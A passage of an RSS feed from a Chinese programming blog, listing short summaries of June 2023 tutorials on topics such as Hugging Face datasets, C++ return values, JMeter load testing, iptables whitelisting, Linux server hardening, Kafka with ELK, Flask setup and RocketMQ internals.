      <description>点击查看 Huggingface详细入门介绍之dataset库&#xA;loadset 导入本地文件 import os from datasets import load_dataset data_home = r&#34;D:\数据集路径&#34; # data_dict = { &#34;train&#34;: os.path.join(data_home, &#34;train.json&#34;), &#34;test&#34;: os.path.join(data_home, &#34;test.json&#34;), } datasets = load_dataset(&#34;json&#34;, data_files=data_dict) print(datasets) print(datasets[&#34;train&#34;][0]) load_dataset(&#34;json&#34;, data_files=data_dict) json : 表示导入的本地文件是 json文件</description>
    </item>
    <item>
      <title>深入探讨函数返回值</title>
      <link>https://bchobby.github.io/posts/af94a6b23f997d4428ab68862b57e93a/</link>
      <pubDate>Wed, 28 Jun 2023 17:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af94a6b23f997d4428ab68862b57e93a/</guid>
      <description>C++函数的返回值类型可以是除数组和函数以外的任何类型，非void类型的函数必须向调用者返回一个值，数组只能返回地址。当返回值是指针或引用对象时，需要特别注意：函数返回所指的对象必须继续存在，因此不能将函数内部的局部对象作为函数的返回值。&#xA;返回引用的函数 函数可以返回一个引用，这样的目的是为了将该函数用在赋值运算符的左边，因为其他情况下，一个函数是不能直接用在赋值运算符左边的。&#xA;返回引用的函数原型的声明方式为：&#xA;数据类型 &amp;amp;函数名（参数列表）；&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int a[] = {2, 4, 6, 8, 10, 12}; int &amp;amp;index(int i); int main() { index(3) = 16; cout &amp;lt;&amp;lt; index(3) &amp;lt;&amp;lt; endl; for (int i = 0; i &amp;lt; 6; i++) { cout&amp;lt;&amp;lt;&#34;第&#34;&amp;lt;&amp;lt;i+1&amp;lt;&amp;lt;&#34;个元素：&#34;&amp;lt;&amp;lt;a[i]&amp;lt;&amp;lt;endl; } return 0; } int &amp;amp;index(int i) { return a[i]; } 16&#xA;第1个元素：2&#xA;第2个元素：4&#xA;第3个元素：6&#xA;第4个元素：16&#xA;第5个元素：10&#xA;第6个元素：12&#xA;返回指针的函数 指针函数：返回值是存储某种类型数据的内存地址的函数。&#xA;返回指针的函数原型的声明方式为：&#xA;数据类型 *函数名（参数列表）；&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; float *input(int &amp;amp;); int main() { int num; float *data = input(num); if (data) { for (int i = 0; i &amp;lt; num; i++) { cout &amp;lt;&amp;lt; data[i] &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>MATLAB 之 Simulink系统的仿真与分析</title>
      <link>https://bchobby.github.io/posts/2abacef50f325f2bb9ee5c4d6a0ca78e/</link>
      <pubDate>Wed, 28 Jun 2023 16:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2abacef50f325f2bb9ee5c4d6a0ca78e/</guid>
      <description>这里写目录标题 一、Simulink 系统的仿真与分析1. 设置仿真参数1.1 Solver 参数设置1.2 Data lmport/Export 参数设置 2. 运行仿真与仿真结果分析2.1 运行仿真2.2 仿真结果分析 一、Simulink 系统的仿真与分析 系统的模型建立之后，选择仿真参数和数值算法，便可以启动仿真程序对该系统进行仿真。 1. 设置仿真参数 在系统仿真过程中，事先必须对仿真算法、输出模式等各种仿真参数进行设置。在模型编辑窗口打开仿真参数设置对话框有以下方法。（1） 单击工具栏中的 Model Configuration Parameters 按钮。（2） 选择 Simulation ⟶ \longrightarrow ⟶Model Configuration Parameters 命令。打开的仿真参数设置窗口如下图所示。 在仿真参数设置窗口中，仿真参数分为以下 7 类。（1） Solver 参数：用于设置仿真起始和终止时间，选择微分方程求解算法并为其规定参数，以及选择某些输出选项。（2） Data Import/Export 参数：用于管理工作空间数据的导入和导出。（3） Optimization 参数：用于设置仿真优化模式。（4） Diagnostics 参数：用于设置在仿真过程中出现各类错误时发出警告的等级。（5） Hardware Implementation 参数：用于设置实现仿真的硬件。（6） Model Referencing 参数：用于设置参考模型。（7） Simulation Target 参数：用于设置仿真模型目标。 1.1 Solver 参数设置 Solver（求解算法）是利用模型中所含的信息来计算系统动态行为的数值积分算法。Simulink 提供的求解算法可支持多种系统的仿真，其中包括任何规模的连续时间（模拟）、离散时间（数字）、混杂（混合信号）和多采样率系统。这些求解算法可以对刚性系统以及具有不连续过程的系统进行仿真。可以指定仿真过程的参数，包括求解算法的类型和属性、仿真的起始时间和结束时间以及是否加载或保存仿真数据。此外，还可以设置优化和诊断信息。在仿真参数设置窗口左侧窗格中选择 Solver 选项，在右侧窗格中会列出所有 Solver 参数，如图12-8所示。 （1） 设置仿真起始和终止时间（Simulink time）。在 Start time 和 Stop time 两个编辑框中，通过直接输入数值来设置仿真起始时间和终止时间，时间单位是秒 (s)。（2） 仿真算法的选择（Solver options）。在 Type 下拉列表框中设定算法类别：Fixed-step（固定步长）和 Variable-step（变步长）算法，在 Solver 下拉列表框中选择具体算法。仿真算法根据步长的变化分为固定步长类算法和变步长类算法。固定步长是指在仿真过程中计算步长不变，而变步长是指在仿真过程中要根据计算的要求改变步长。对于这两类算法，它们所对应的相关选项及具体算法都有所不同。在采用变步长类算法时，首先应该指定允许的误差限，包括相对误差限（Relative Tolerance）和绝对误差限（Absolute Tolerance），当计算过程中的误差超过该误差限时，系统将自动调整步长，步长的大小将决定仿真的精度。在采用变步长类算法时还要设置所允许的最大步长（Max Step Size），在默认值（Auto）的情况下，系统所给定的最大步长为（终止时间起始时间） /50。在一般情况下，系统所给的最大步长已经足够，但如果用户所进行的仿真时间过长，则默认步长值就非常大，有可能出现失真的情况，这时应根据需要设置较小的步长。在采用固定步长算法时，要先设置固定步长。由于固定步长算法的步长不变，所以此时不设定误差限，而多了一个模型类型（Tasking Mode for Periodic Sample Times）的选项，该选项包括 Auto（默认值）、SingleTasking（单任务和 MultiTasking（多任务）。单任务是指各模块的采样速率相同，不检测采样速率的传递;多任务是指在模型中模块具有不同的采样速率，同时检测模块之间采样速率的传递;默认值则根据模块的采样速率是否相同来决定采用单任务还是多任务。变步长和固定步长包含多种不同的具体算法。一般情况下，连续系统仿真应该选择 ode45 变步长算法，对刚性问题可以选择变步长的 ode15s 算法，离散系统一般默认选择固定步长的 discrete（no continuous states）算法，要注意在仿真模型中含有连续环节时不能采用该仿真算法，而可以采用诸如 4 阶 Runge-Kutta 法这样的算法来求解问题。 1.</description>
    </item>
    <item>
      <title>工具篇9--Window 虚拟机安装</title>
      <link>https://bchobby.github.io/posts/21be7acefda32361c17c95a64dfc5d7d/</link>
      <pubDate>Wed, 28 Jun 2023 16:30:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21be7acefda32361c17c95a64dfc5d7d/</guid>
      <description>文章目录 前言一、虚拟机是什么？二、虚拟机安装1.下载虚拟机软件：2.下载centos 系统镜像：3.虚拟机安装：3.1 关闭杀毒软件：3.2 重启后继续安装：3.3 修改vm 安装的位置：3.4 勾掉用户体验后下一步完成安装：3.5 创建虚拟机：3.5.1 创建虚拟机：3.5.2 安装系统：选择我们下载好的系统：3.5.3 命名虚拟机的名称和位置：3.5.4 设置虚拟机使用磁盘的大小和存储的方式：3.5.5 完成虚拟机的创建:3.5.6 选择中文输入：3.5.7 选择自动分区：3.5.8 设置root 用户的密码：3.5.9 重启centos 开始使用： 三、系统网络设置1.ping www.baidu.com：2. 添加nameserver ：3. 查看网卡名称：4. 网卡启动配置：5. 重启网络： 四、总结： 前言 一、虚拟机是什么？ 虚拟机是一种基于软件的虚拟计算机，可以在物理计算机上创建多个操作系统环境和应用程序运行环境的沙盒。虚拟机软件通过模拟计算机硬件和操作系统等资源，可以在一台物理计算机上设计和运行多个虚拟计算机。&#xA;虚拟机可以让用户在单个计算机上运行多个不同的操作系统，比如同时运行 Windows、Linux、MacOS 等。因为虚拟机软件创建的虚拟机提供了一个独立的操作系统环境、硬件环境和软件运行环境，所以不同虚拟机之间可以实现完全的隔离，安全性更高。&#xA;使用虚拟机的另一个好处是，可以提高资源的利用率。在一台物理服务器上，使用虚拟机软件可以分割为多个虚拟机，每个虚拟机可以运行不同的应用程序或服务，从而提高硬件资源的利用率，最大程度地节约硬件和人力成本。&#xA;虚拟机的应用范围非常广泛，例如在开发测试、应用测试、服务验证、互联网服务、数据中心等方面都有广泛应用。在云计算时代，虚拟化技术也是重要的基础技术之一。&#xA;二、虚拟机安装 1.下载虚拟机软件： 下载地址VMware Workstation Player ：&#xA;https://customerconnect.vmware.com/cn/downloads/details?downloadGroup=WKST-PLAYER-1702&amp;amp;productId=1377&amp;amp;rPId=104735&#xA;2.下载centos 系统镜像： 下载地址：&#xA;https://mirrors.aliyun.com/centos/7/isos/x86_64/?spm=a2c6h.25603864.0.0.199c4511AakNSv&#xA;3.虚拟机安装： 3.1 关闭杀毒软件： 安装之前最好先关闭杀毒软件，否则有可能安装进程会被阻止，然后双击exe 开始安装；&#xA;3.2 重启后继续安装： 3.3 修改vm 安装的位置： 3.4 勾掉用户体验后下一步完成安装： 3.5 创建虚拟机： 3.5.1 创建虚拟机： 3.5.2 安装系统：选择我们下载好的系统： 3.5.3 命名虚拟机的名称和位置： 3.5.4 设置虚拟机使用磁盘的大小和存储的方式： 3.</description>
    </item>
    <item>
      <title>信号与系统复习笔记——采样</title>
      <link>https://bchobby.github.io/posts/1c302376b512fc6a15d9610f49e666fa/</link>
      <pubDate>Wed, 28 Jun 2023 16:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c302376b512fc6a15d9610f49e666fa/</guid>
      <description>信号与系统复习笔记——采样与通讯系统 采样定理 冲激串采样函数可表示为：&#xA;p ( t ) = ∑ n = − ∞ + ∞ δ ( t − n T ) p(t) = \sum_{n=-\infty}^{+\infty} \delta(t - nT) p(t)=n=−∞∑+∞​δ(t−nT)&#xA;周期 T T T 称为采样周期，而 ω s = 1 T \omega_s = \frac{1}{T} ωs​=T1​ 为采样频率。&#xA;对信号 x ( t ) x(t) x(t) 进行冲激串采样的结果为：&#xA;x p ( t ) = x ( t ) p ( t ) = ∑ n = − ∞ + ∞ x ( n T ) δ ( t − n T ) x_p(t) = x(t)p(t) = \sum_{n=-\infty}^{+\infty} x(nT) \delta(t - nT) xp​(t)=x(t)p(t)=n=−∞∑+∞​x(nT)δ(t−nT)</description>
    </item>
    <item>
      <title>利用经纬度等信息生成GPX轨迹信息</title>
      <link>https://bchobby.github.io/posts/6ea945fc231a1099e74c480b1d8b8730/</link>
      <pubDate>Wed, 28 Jun 2023 15:33:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ea945fc231a1099e74c480b1d8b8730/</guid>
      <description>为了之后还能记得怎么处理我的经纬度数据，留下这个笔记&#xA;首先通过手持GPS设备获取了经纬度、时间、速度等原始数据，表格数据形式如下：&#xA;现要通过XLS数据生成GPX轨迹文件&#xA;import xlrd import pandas as pd import gpxpy import gpxpy.gpx # 加载XLS文件 workbook = xlrd.open_workbook(r&#39;xls表格位置&#39;) sheet = workbook.sheet_by_index(0) # 假设数据在第一个工作表中 gpx = gpxpy.gpx.GPX() # 创建航线对象 track = gpxpy.gpx.GPXTrack() gpx.tracks.append(track) data = pd.read_excel(r&#39;xls表格位置&#39;) print(data.columns) # 创建航线段 segment = gpxpy.gpx.GPXTrackSegment() track.segments.append(segment) # 逐行读取数据并生成GPX路点 for index, row in data.iterrows(): latitude = float(row[3]) longitude = float(row[2]) time = row[1] # 时间字段 speed = float(row[4]) # 速度字段 waypoint = gpxpy.gpx.GPXWaypoint(latitude, longitude, time=time) waypoint.</description>
    </item>
    <item>
      <title>如何使用jmeter进行压测</title>
      <link>https://bchobby.github.io/posts/926f7e253d0328d2fa6231cbabdc6eb3/</link>
      <pubDate>Wed, 28 Jun 2023 14:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/926f7e253d0328d2fa6231cbabdc6eb3/</guid>
      <description>简介： 1.概述 一款工具，功能往往是很多的，细枝末节的地方也很多，实际的测试工作中，绝大多数场景会用到的也就是一些核心功能，根本不需要我们事无巨细的去掌握工具的所有功能。所以本文将用带价最小的方式讲解如何快速上手使用jmeter来进行压测。 JMeter，一款接口测试工具，是Java程序，需要JDK环境，建议使用JDK8或者JDK11。&#xA;1.概述 一款工具，功能往往是很多的，细枝末节的地方也很多，实际的测试工作中，绝大多数场景会用到的也就是一些核心功能，根本不需要我们事无巨细的去掌握工具的所有功能。所以本文将用带价最小的方式讲解如何快速上手使用jmeter来进行压测。&#xA;JMeter，一款接口测试工具，是Java程序，需要JDK环境，建议使用JDK8或者JDK11。&#xA;下载地址：&#xA;Apache JMeter - Download Apache JMeter&#xA;启动：&#xA;安装路径/bin/jmeter.bat（.sh）&#xA;2.测试计划、线程组、取样器 test plan：&#xA;测试计划，jmeter中的一个测试计划对应一个测试场景。&#xA;thread group：&#xA;线程组，jmeter中的一个线程组对应一个行为。一个行为可以理解为一个场景，可以是由多个接口组成的，比如下单，里面就可以包含扣减库存、生成订单等多个接口。&#xA;取样器：&#xA;可以理解为一次请求，jmeter支持多种类型的取样器，当然我们常用的是http的取样器。&#xA;三者的关系：&#xA;整个jmeter的使用其实就是建立一个测试计划，然后给这个测试计划下面配上各种需要的东西，比如线程组、监听器等等，&#xA;一个线程组包含多个取样器，一个取样器就是一个请求。线程组里面的每一条线程都会完整的从上到下顺序执行一遍该组下的取样器。&#xA;建立测试计划，添加线程组：&#xA;线程组添加取样器，对http接口的请求就添加http取样器：&#xA;一整套测试计划建好后，支持导出为文件，导出为文件后可以脱离开界面通过指令来运行整个测试计划：&#xA;3.调试运行 测试计划直接执行是不会有任何结果展示的，需要添加监听器（listener）来进行调试，查看中间结果。&#xA;一般使用view results tree，查看结果树的监听器，可以查看到运行结果。&#xA;一些核心参数的意思：&#xA;Connect Time：建立TCP连接的时间。&#xA;lantency：发出请求前到接收到第一个响应的时间。&#xA;loadtime：从发出请求前到接收完所有响应的时间。&#xA;Size in bytes：整个response报文的大小=header+body。&#xA;Headers size in bytes：response的header大小。&#xA;Body size in bytes：response的body大小。&#xA;4.请求默认值 请求默认值，即请求的缺省配置默认值。配置后一个测试计划中的所有请求都的配置缺省时都采用请求默认值中的配置。&#xA;5.流量录制 测试网页页面的时候http请求里面除了API，还杂糅着很多静态资源（html/js/css）的请求，到底请求这个页面发出了多少url？可以使用jmeter的流量录制功能，可以录制出某次访问里的所有http请求。这个功能在实际压测里用的比较少，这里只是提一句有这个功能，不做展开，具体要用的时候可以搜一下，怎么使用。&#xA;6.模拟时间间隔 使用定时器可以模拟时间间隔，定时器的作用范围是所在结点下的所有同级结点及其子结点。&#xA;定时器有多种，有些定时器不是固定时间间隔的，比如时间间隔满足高斯变化的高斯定时器等，具体的种类可以搜一下。&#xA;7.压力测试 运行指令：&#xA;真正的压力测试不使用图形界面来测试，因为图形界面作为中间层也会有性能损耗，而是直接使用命令行模式。&#xA;{base dir}\bin\jmeter -n -t XXX.jmx -l log.jtl</description>
    </item>
    <item>
      <title>vue 实现色板功能</title>
      <link>https://bchobby.github.io/posts/21ca1e275da92f096d723dd6df5be7e6/</link>
      <pubDate>Wed, 28 Jun 2023 10:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21ca1e275da92f096d723dd6df5be7e6/</guid>
      <description>效果：&#xA;动态添加颜色 随机色&#xA;代码：&#xA;&amp;lt;div class=&#34;mt-10 firstTitle&#34; v-show=&#34;pictureType != &#39;card&#39; &amp;amp;&amp;amp; pictureType != &#39;table&#39; &amp;amp;&amp;amp; pictureType != &#39;inventory&#39;&#34; &amp;gt; &amp;lt;i :class=&#34;[colorSystemShow ? &#39;el-icon-com-xiajiantou&#39; : &#39;el-icon-com-youjiantou&#39;]&#34; @click=&#34;colorSystem_before&#34; class=&#34;c-pointer&#34; &amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&#34;ml-5&#34;&amp;gt;色板&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;c-pointer pull-right&#34; @click=&#34;colorConfig&#34;&amp;gt;配置&amp;lt;/span&amp;gt; &amp;lt;div v-show=&#34;colorSystemShow&#34; class=&#34;mt-10 secondTitle colorSystem pl-5&#34;&amp;gt; &amp;lt;div v-for=&#34;itemOut in colorList&#34; style=&#34;height:20px;&#34; class=&#34;mt-5&#34;&amp;gt; &amp;lt;span v-for=&#34;itemIn in itemOut.value&#34; :style=&#34;{background:itemIn}&#34; style=&#34;display:inline-block;width:13.5px;height:20px;&#34; &amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 组件：&#xA;&amp;lt;template&amp;gt; &amp;lt;el-dialog title=&#34;色板配置&#34; :visible.sync=&#34;isColorConfigDialog&#34; width=&#34;690px&#34; :close-on-click-modal=&#34;false&#34; :show-close=&#34;false&#34; top=&#34;90px&#34; &amp;gt; &amp;lt;div class=&#34;mainDiv&#34;&amp;gt; &amp;lt;el-button class=&#34;</description>
    </item>
    <item>
      <title>iptables添加IP段白名单</title>
      <link>https://bchobby.github.io/posts/8eeb9ef2a336edc9112c401832e648dd/</link>
      <pubDate>Wed, 28 Jun 2023 09:11:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eeb9ef2a336edc9112c401832e648dd/</guid>
      <description>背景 要求指定的IP段才能访问主机的 3306 端口&#xA;安装iptables yum install -y iptables-services systemctl enable iptables service iptables start 添加IP段白名单 iptables -I INPUT -p tcp --dport 3306 -j DROP &amp;amp;&amp;amp; \ iptables -I INPUT -m iprange --src-range 172.50.49.13-172.50.49.42 -p tcp --dport 3306 -j ACCEPT &amp;amp;&amp;amp; \ iptables -I INPUT -m iprange --src-range 172.29.145.10-172.29.145.40 -p tcp --dport 3306 -j ACCEPT 三条命命令的含义&#xA;iptables -I INPUT -p tcp --dport 3306 -j DROP 禁止访问呢3306&#xA;iptables -I INPUT -m iprange --src-range 172.</description>
    </item>
    <item>
      <title>SpringBoot使用AOP统一处理日志</title>
      <link>https://bchobby.github.io/posts/79c655c2359639e2a143720595cd79c4/</link>
      <pubDate>Wed, 28 Jun 2023 08:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79c655c2359639e2a143720595cd79c4/</guid>
      <description>应用(记录用户操作日志): 有时候我们需要处理一些请求日志，或者对某些方法进行一些监控，如果出现例外情况应该进行怎么样的处理，现在，我们从spring boot中引入AOP 1、开发准备&#xA;环境：idea、jdk 1.8、springboot、mysql 1.1 目录结构&#xA;└─src └─main ├─java │ └─com │ └─example │ └─log │ │ LogApplication.java │ ├─annotation │ │ Log.java │ ├─aspect │ │ LogAspect.java │ ├─common │ │ ├─context │ │ │ BaseContext.java │ │ │ CallBack.java │ │ │ SpringContextHolder.java │ │ ├─enums │ │ │ Action.java │ │ └─utils │ │ CloseUtil.java │ │ ExceptionUtil.java │ │ FileUtil.java │ │ ServletUtil.java │ ├─controller │ │ LogController.</description>
    </item>
    <item>
      <title>高性能linux服务构建 1服务器安全运维</title>
      <link>https://bchobby.github.io/posts/77ed4aa7c4b5f60feec19ff659f106b5/</link>
      <pubDate>Wed, 28 Jun 2023 00:47:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77ed4aa7c4b5f60feec19ff659f106b5/</guid>
      <description>1 安全运维 1.1 账户和登录安全 1.1.1 删除特殊用户和用户组 主要用userdel groupdel删除无用用户和组&#xA;一般需了解用户管理相关命令与选项用法，如usermod -s nologin userxxx&#xA;一般无用用户 adm，lp，sync，shutdown，halt，news，uucp，operators，games，gopher&#xA;一般无用组 adm，lp，news，games，dip，pppusers，popusers，slipusers&#xA;1.1.2 删除无用服务 chkconfig --pevel 345 bluetooth off&#xA;然后重启服务器&#xA;345 3表示支持nfs的多用户，5表示支持xwindows，4预留选项&#xA;1.1.3 密钥策略 一般有密码和密钥方式登录服务器，推荐密钥&#xA;先在本地生成密钥，然后将公钥追加到服务器用户目录下.ssh/authrized_keys的文件，即可单向登录&#xA;1.1.4 sudo使用与配置 给普通用户加提权权限&#xA;/etc/sudoers&#xA;文件的每行对应一个权限，格式如下&#xA;username hosts = cmd vars&#xA;四个参数分别为用户名，可访问的主机列表，cmd和cmd参数，例如&#xA;usera ALL = /bin/more /etc/shadow&#xA;userb ALL = NOPASSWD: /bin/more /etc/shadow&#xA;提权后普通用户执行提权命令会提示输入密码，此时密码不是root密码，而是用户的密码&#xA;userc ALL = (ALL) NOPASSWD: ALL&#xA;表示userc可获得root权限且不需要密码，su root _即可，且不需密码&#xA;1.1.5 修改系统登录欢迎信息 本地登录终端，终端提示信息源于/etc/issue&#xA;ssh/telnet登录时，终端提示信息源于metc/issue.net&#xA;每次登录终端都会有公告信息，公告信息源于文件etc/motd&#xA;1.2 远程访问与认证安全 1.</description>
    </item>
    <item>
      <title>kafaka在ELK日志集群中的应用</title>
      <link>https://bchobby.github.io/posts/dd53deca59a69153d7eee4fe92366326/</link>
      <pubDate>Wed, 28 Jun 2023 00:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd53deca59a69153d7eee4fe92366326/</guid>
      <description>目录&#xA;一、消息队列 （message queue）&#xA;1、消息队列是什么&#xA;2、消息队列的优点&#xA;3、消息队列的模式&#xA;4、常用消息队列比较&#xA;二、kafka&#xA;1、kafka介绍&#xA;2、备份&#xA;3、基本概念&#xA;三、部署zookeeper集群&#xA;1、zookeeper介绍&#xA;2、zookeeper集群的部署&#xA;3、关于zookeeper集群的说明&#xA;四、 kafka集群的搭建&#xA;五、eflk数据流&#xA;appserver --&amp;gt;filebeat --&amp;gt; kafka --&amp;gt; logstash --&amp;gt; elasticsearch --&amp;gt; kibana&#xA;filebeat配置&#xA;logstash[消费者]配置&#xA;一、消息队列 （message queue） 1、消息队列是什么 1.消息队列是进程间通信或同一进程间不同线程的通信方式。&#xA;2.消息队列提供了异步通信协议。&#xA;3.消息的发送者和接收者不需要同时与消息队列交互，消息会保存在队列中, 直到接收者取回它。&#xA;4.每一个贮列中的纪录包含详细说明的数据, 包含发生的时间, 输入设备的种类, 以及特定的输入参数。&#xA;5.消息队列中间件是分布式系统中重要的组件。&#xA;消息队列主要解决应用耦合、异步处理、流量削锋等问题 当前使用较多的消息队列有RabbitMQ、RocketMQ、ActiveMQ、Kafka、ZeroMQ、MetaMq等, 而部分数据库如Redis、Mysql以及phxsql也可实现消息队列的功能。&#xA;2、消息队列的优点 解耦：在项目启动之初来预测将来项目会碰到什么需求, 是极其困难的消息系统在处理过程中间插入了一个隐含的、基于数据的接口层, 两边的处理过程都要实现这一接口这允许你独立的扩展或修改两边的处理过程, 只要确保它们遵守同样的接口约束&#xA;冗余：有些情况下, 处理数据的过程会失败除非数据被持久化, 否则将造成丢失消息队列把数据进行持久化直到它们已经被完全处理, 通过这一方式规避了数据丢失风险许多消息队列在把一个消息从队列中删除之前, 需要你的处理系统明确的指出该消息已经被处理完毕, 从而确保数据被安全的保存直到你使用完毕&#xA;扩展性：因为消息队列解耦了你的处理过程, 所以增大消息入队和处理的频率是很容易的, 只要另外增加处理过程即可不需要改变代码、不需要调节参数，扩展就像调大电力按钮一样简单&#xA;峰值处理：在访问量剧增的情况下, 应用仍然需要继续发挥作用, 但是这样的突发流量并不常见,如果为以能处理这类峰值访问为标准来投入资源随时待命无疑是巨大的浪费使用消息队列能够使关键组件顶住突发的访问压力, 而不会因为突发的超负荷的请求而完全崩溃&#xA;可恢复性：系统的一部分组件失效时, 不会影响到整个系统即使一个处理消息的进程挂掉, 加入队列中的消息仍然可以在系统恢复后被处理&#xA;顺序保证：在大多使用场景下, 数据处理的顺序都很重要大部分消息队列本来就是排序的, 并且能保证数据会按照特定的顺序来处理如Kafka能保证一个Partition内的消息的有序性</description>
    </item>
    <item>
      <title>C#四则运算计算器程序</title>
      <link>https://bchobby.github.io/posts/9a19aec66687f99cd52fcd694c8d916a/</link>
      <pubDate>Tue, 27 Jun 2023 23:09:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a19aec66687f99cd52fcd694c8d916a/</guid>
      <description>四则运算计算器是一款功能简单但极为实用的应用程序。在本篇文章中，我们将使用C#语言为大家演示如何编写一个基于控制台的四则运算计算器程序。&#xA;**1. 程序设计思路** 在设计控制台四则运算计算器程序时，我们需要确定程序的基本功能，包括输入、运算符选择和输出。我们可以采用逐个读取用户输入的方式，再根据输入的数据类型、运算符类型等进行数据处理和计算。&#xA;具体的程序设计思路如下：&#xA;1. 获取用户输入的数字和运算符；&#xA;2. 根据运算符进行运算，得到计算结果；&#xA;3. 输出计算结果。&#xA;**2. 程序实现**&#xA;2.1 获取用户输入&#xA;在C#中，我们可以使用Console.ReadLine()函数逐行读取用户输入。对于输入的字符串，我们可以使用正则表达式库来进行分割。&#xA;```C#&#xA;// 首先以空格进行分割，得到数字和运算符&#xA;string[] inputs = Console.ReadLine().Split(&#34; &#34;);&#xA;// 如果分割后字符串数组的长度不为3，说明用户输入有误&#xA;if (inputs.Length != 3)&#xA;{&#xA;Console.WriteLine(&#34;输入有误！&#34;);&#xA;return;&#xA;}&#xA;// 分别获取输入的数字和运算符&#xA;int num1 = int.Parse(inputs[0]);&#xA;int num2 = int.Parse(inputs[2]);&#xA;string op = inputs[1];&#xA;```&#xA;2.2 根据运算符进行计算&#xA;有了用户输入的数字和运算符，我们就可以进行四则运算了。根据运算符的不同，我们可以通过算术运算符来计算结果。&#xA;```C#&#xA;// 根据运算符进行计算&#xA;int result = 0;&#xA;switch (op)&#xA;{&#xA;case &#34;+&#34;:&#xA;result = num1 + num2;</description>
    </item>
    <item>
      <title>Flask框架（一）——vs code中创建Flask项目</title>
      <link>https://bchobby.github.io/posts/467533616cad66773f00fc00217f016f/</link>
      <pubDate>Tue, 27 Jun 2023 21:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/467533616cad66773f00fc00217f016f/</guid>
      <description>目录&#xA;前言&#xA;一、准备工作&#xA;1、工具准备&#xA;2、操作系统&#xA;二、Flask项目搭建&#xA;1.新建项目文件夹&#xA;2.搭建虚拟环境&#xA;（1）在终端创建虚拟环境&#xA;（2）激活虚拟环境&#xA;3.安装Flask&#xA;（1）先退回到项目文件夹下&#xA;（2）输入命令安装Flask&#xA;4、新建Flask需要的文件&#xA;（1）app.py文件&#xA;（2）创建templates文件夹&#xA;（3）创建static文件夹 5、运行项目&#xA;（1）输入命令,默认端口号是5000&#xA;（2） 运行结果&#xA;总结&#xA;前言 使用vs code搭建Flask项目的环境，以及项目的创建。&#xA;一、准备工作 1、工具准备 vs code软件python软件 2、操作系统 win 11 二、Flask项目搭建 1.新建项目文件夹 新建Demo1文件，然后用vs code 打开 2.搭建虚拟环境 （1）在终端创建虚拟环境 使用快捷键ctrl+shift+~，调出vscode的终端，然后输入命令&#xA;python -m venv venv （2）激活虚拟环境 首先进入到&#39;venv/Scripts&#39; 路径下&#xA;cd &#39;venv/Scripts&#39;&#xA;然后输入以下命令：&#xA;./activate&#xA;这样就激活了虚拟环境。&#xA;3.安装Flask （1）先退回到项目文件夹下 cd..&#xA;cd..&#xA;（2）输入命令安装Flask pip install flask&#xA;然后等待它安装成功就可以了。&#xA;4、新建Flask需要的文件 （1）app.py文件 在项目根目录下新建app.py文件，然后写入如下代码&#xA;from flask import Flask&#xA;app=Flask(__name__)</description>
    </item>
    <item>
      <title>[RocketMQ] Producer发送单向/异步/同步消息源码 (八)</title>
      <link>https://bchobby.github.io/posts/b01181715c6a5b345275dd6d542a8dc4/</link>
      <pubDate>Tue, 27 Jun 2023 20:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b01181715c6a5b345275dd6d542a8dc4/</guid>
      <description>文章目录 1.sendMessage方法发送消息2.invokeOneway单向发送2.1 invokeOnewayImpl单向调用 3.sendMessageSync同步发送3.1 invokeSync同步调用3.1.1 invokeSyncImpl同步调用实现3.1.2 processSendResponse处理响应结果 4.sendMessageAsync异步发送消息4.1 invokeAsync异步调用4.1.1 invokeAsyncImpl异步调用实现 4.2 onExceptionImpl异常处理 5.NettyClientHandler处理服务端消息5.1 processResponseCommand处理响应5.1.1 executeInvokeCallback执行回调函数5.1.2 putResponse存入响应 6.总结 1.sendMessage方法发送消息 DefaultMQProducerImpl#sendKernelImpl() -&amp;gt; MQClientAPIImpl#sendMessage()&#xA;MQClientAPIImpl#sendMessage : 异步、单向、同步发送模式都会调用MQClientAPIImpl#sendMessage方法发送消息。&#xA;首先构建发送消息命令对象RemotingCommand, 此时会判断是否需要更换轻量级消息头, 如果sendSmartMsg属性为true或者为批量消息的话, 则使用轻量头。根据发送模式执行不同的发送逻辑, 单向发送模式调用NettyRemotingClient#invokeOneway, 异步发送调用MQClientAPIImpl#sendMessageAsync, 同步发送调用MQClientAPIImpl#sendMessageSync。 /** * MQClientAPIImpl的方法 * 同步、异步、单向消息的最终发送消息的方法 * * @param addr brokerAddr * @param brokerName brokerName * @param msg msg * @param requestHeader requestHeader * @param timeoutMillis 剩余超时时间 * @param communicationMode 发送模式 * @param sendCallback 发送回调函数 * @param topicPublishInfo topic信息 * @param instance MQClientInstance * @param retryTimesWhenSendFailed 异步发送失败时的重试次数，默认2 * @param context 发送消息上下文 * @param producer DefaultMQProducerImpl * @return * @throws RemotingException * @throws MQBrokerException * @throws InterruptedException */ public SendResult sendMessage( final String addr, final String brokerName, final Message msg, final SendMessageRequestHeader requestHeader, final long timeoutMillis, final CommunicationMode communicationMode, final SendCallback sendCallback, final TopicPublishInfo topicPublishInfo, final MQClientInstance instance, final int retryTimesWhenSendFailed, final SendMessageContext context, final DefaultMQProducerImpl producer ) throws RemotingException, MQBrokerException, InterruptedException { long beginStartTime = System.</description>
    </item>
    <item>
      <title>【Linux】在Ubuntu下部署nginx——nginx的负载均衡</title>
      <link>https://bchobby.github.io/posts/5d3067de50a82bc686b9cb5a05f3b015/</link>
      <pubDate>Tue, 27 Jun 2023 20:04:47 +0800</pubDate>
